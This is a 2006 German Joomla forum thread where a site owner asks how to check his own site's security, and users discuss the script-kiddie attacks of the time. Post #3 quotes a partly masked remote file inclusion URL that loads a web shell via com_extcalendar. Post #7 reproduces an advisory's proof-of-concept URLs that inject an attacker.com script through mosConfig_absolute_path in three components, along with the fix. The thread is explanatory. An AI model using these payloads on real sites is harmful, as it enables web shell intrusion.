+ Antworten
Ergebnis 1 bis 7 von 7

Thema: selber testen?

  1. #1
    Neu an Board Avatar von Zappa
    Registriert seit
    06.01.2006
    Ort
    Braunschweig
    Alter
    38
    Beiträge
    93
    Bedankte sich
    8
    Erhielt 13 Danksagungen
    in 12 Beiträgen

    Standard selber testen?

    Hallo Leute

    nun werden es ja immer mehr Dateien die offen zu sein scheinen.
    Ich habe eigentlich keinen Bock alle ca. 5000 Dateien meiner Seite zu durchsuchen.

    Was machen die Hacker eigentlich genau?
    Wie geht das, das die auf meine Dateien zugriff haben?

    Ich würde auch gerne wissen, ob die neue .htaccess funktioniert die ich von der joomla.org Seite mit eingebaut habe.

    Meine Frage also: Wie kann ich selber zu Testzwecken versuchen, meine eigene Seite zu "hacken"?

    Hat da einer Ahnung und kann mir das erkären?
    Will kein Script-Kiddie werden, dazu bin ich zu alt.

    Thx
    Maik

  2. #2
    Moderator Avatar von cybergurk
    Registriert seit
    06.07.2005
    Ort
    unwichtig
    Beiträge
    8.732
    Bedankte sich
    190
    Erhielt 2.685 Danksagungen
    in 2.066 Beiträgen

    Standard

    Zitat Zitat von Zappa
    ..
    Meine Frage also: Wie kann ich selber zu Testzwecken versuchen, meine eigene Seite zu "hacken"?

    Hat da einer Ahnung und kann mir das erkären?
    Will kein Script-Kiddie werden, dazu bin ich zu alt.

    Thx
    Maik
    Moin, das wird wohl Dir hier niemand reinschreiben geschweige denn wissen, denn dann würde joomla ja nicht hackbar sein, es sind in der regel verkehrte Einstellung derjenigen die Joomla installieren oder Administrieren und sich vorab nicht richtig sachkundig machen, dazu kommen manche unfähige Hoster die eben genauso laienhaft denken... Sorry, mehr sagen dir andere...
    Gruß Achim
    Behandle deine Mitmenschen genau so, wie du gerne behandelt werden möchtest.
    www.cybergurke.de | www.filmanleitungen.de | www.joomla-tutorials.de | www.easy-joomla.org

  3. #3
    Neu an Board
    Registriert seit
    16.04.2006
    Beiträge
    24
    Bedankte sich
    0
    Erhielt 3 Danksagungen
    in 3 Beiträgen

    Standard

    Also als "Hacker" will ich die Scriptkiddies nicht bezeichnen Eher Vandalen, die bald die Justiz zu spüren bekommen .. und deren Provider sollten besser auf abusemails reagieren.

    Die machen ja nix anderes als sich klickibunti-Scripte wie sich c99shell oder r57shell usw. auf Webspace zu legen und nach bekannten unsicheren Extensions googelnd diese über zB. ../com_extcalendar/extcalendar.php?mosConfig_absolute_path=http%3A%2F %2Fmembers.lycos.co****%2F
    spymetashell%2Fspymeta.dat%3F&act=f&f=index.php3&f t=edit&d=%2 ..etc auf dem fremden Webspace aufzurufen und bisschen rumzuklicken. Ansonsten haben die NULL Ahnung und die finden in Deinen 5000 Dateien nichts per Klick.

    @Cybergurk .. vielleicht könnte ja mal jemand der sich mit auskennt einen schön übersichtlichen deutschsprachigen Sticky im Sicherheitsforum anfangen, damit gerade Anfänger sich etwas besser absichern können.

    ZB
    • Bekannte unsichere Erweiterungen .. und dessen mögliche Updates/Patches
    • Die besten CMOD Einstellungen
    • .htacces Dateien wo wie warum
    • Wie mache ich nen Backup und stelle es wieder her

    .. und so weiter. Dann würde auch nicht in jedem Thema von vorne gefragt und ich hätte ne gute Anlaufstelle wenn mich die Paranoia überkommt :-)
    Geändert von Pumphut (18.07.2006 um 21:17 Uhr)

  4. #4
    Gehört zum Inventar
    Registriert seit
    28.10.2003
    Beiträge
    6.257
    Bedankte sich
    8
    Erhielt 1.311 Danksagungen
    in 1.238 Beiträgen

    Standard

    Also als "Hacker" will ich die Scriptkiddies nicht bezeichnen Eher Vandalen, die bald die Justiz zu spüren bekommen .. und deren Provider sollten besser auf abusemails reagieren.
    das sie nichts finden bezweifle ich aber stark,
    nur deren schaden ist bislang nachvollziehbar...
    Die könnten einfach mehr schaden anrichten indem Sie willkührlich
    einzelne Dateien ändern...
    wenn sie dann nicht dabei schreiben würden das die Site gehacked ist würdest du dich
    evtl. totsuchen

    Wie gesagt das meinste sind wie du schon sagtest Nachahmer aber ein paar sollte
    man wirklich nicht als Scriptkiddies abtun...
    Geändert von patzi (18.07.2006 um 21:03 Uhr)

  5. #5
    Neu an Board
    Registriert seit
    16.04.2006
    Beiträge
    24
    Bedankte sich
    0
    Erhielt 3 Danksagungen
    in 3 Beiträgen

    Standard

    JA auch wieder war. Wer weiß wie lange das schon so geht und richtige Hacker, die im Gegensatz zu Scriptkiddies keine Spuren hinterlassen wollen, auf diversen Seiten herumbasteln und irgendwelche Sachen installieren für die man am Ende als Domaininhaber noch rechtlich zur Verantwortung gezogen wird.
    Da sollten wir den Vandalen eigentlich dankbar sein das sie uns so "schonend" darauf hinweisen .. obwohl eine Mail auch genügen würde

    Leute die bischen auf solchen Tools rumklicken sind die Bezeichnung "Hacker" nicht wert.


    Ich dachte ja immer die Provider sind auf Zack und unterbinden solche Sachen per Filter, sodas die weder irgendwo hoch geladen noch per Kreuzverknüpfung ausgeführt werden können.
    Geändert von Pumphut (18.07.2006 um 21:31 Uhr)

  6. #6
    Neu an Board Avatar von der_russe
    Registriert seit
    19.04.2006
    Ort
    Berlin
    Beiträge
    23
    Bedankte sich
    10
    Erhielt 0 Danksagungen
    in 0 Beiträgen

    Reden selber testen

    eine nutzliche componente für den allg. sicherheitscheck ist die hier

    sonst kannst du die seite hier anschauen (leider nur russisch )

    wäre auch ein vorschlag an seitenbetreiber ein bereich "sicherheit" unter downloads einzurichten...

    in diesem sinne
    Geändert von der_russe (19.07.2006 um 09:33 Uhr)

  7. #7
    Haltrust
    Gast

    Standard

    Es liegt wohl auch daran, dass $mosConfig_absolute_path nicht darauf überprüft wird, ob der Pfad auf dem eigenen Server liegt. Ich habe im Forum von Joomla.org an drei Beispielen darauf hingewiesen..


    Variables $mosConfig_absolute_path are not properly sanitized. When
    register_globals=on
    and allow_fopenurl=on an attacker can exploit this vulnerability with a
    simple php injection script.

    Proof Of Concept:
    ~~~~~~~~~~~~~~~

    http://[target]/[path]/components/com_hashcash/server.php?mosConfig_absolute_path=http://attacker.com/evil.txt?
    http://[target]/[path]/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://evilscript
    http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

    Solution:
    ~~~~~~~

    sanitize variabel $mosConfig_absolute_path.

    Quelle

    http://forum.joomla.org/index.php/to...html#msg401990

    In dem Thread wird lang und breit auf Joomla.org allerdings nur diskutiert, inwieweit das Core Team überhaupt verantwortlich ist, Drittkomponenten sicherer zu machen. Da bekomme ich einen Magenpförtnerkrampf. Besonders dann, wenn gerade Johan Janssens
    vom Core Team selbst die Sitemap geschrieben hat, die verletzlich ist:

    PHP-Code:

    http
    ://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt? 

+ Antworten

Ähnliche Themen

  1. OpenSEF 2.0.0-RC5.pr12 for Joomla! 1.0.x zum Testen
    Von Predator im Forum Joomla Komponenten
    Antworten: 310
    Letzter Beitrag: 31.03.2007, 22:53
  2. xxx.sql datei local testen
    Von grafbyte im Forum Joomla Anfänger
    Antworten: 9
    Letzter Beitrag: 20.06.2006, 15:20
  3. Module u. Komponenten ausgiebig testen
    Von One1980 im Forum Allgemeine Fragen zu Joomla
    Antworten: 8
    Letzter Beitrag: 09.06.2006, 12:51
  4. Mehrere Mambo Pakete local testen
    Von cehweh im Forum Allgemeine Fragen zu Mambo
    Antworten: 3
    Letzter Beitrag: 05.08.2005, 13:04
  5. Seite vor dem veröffentlichen testen?
    Von Stoffie im Forum Allgemeine Fragen zu Mambo
    Antworten: 9
    Letzter Beitrag: 16.04.2005, 08:51

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein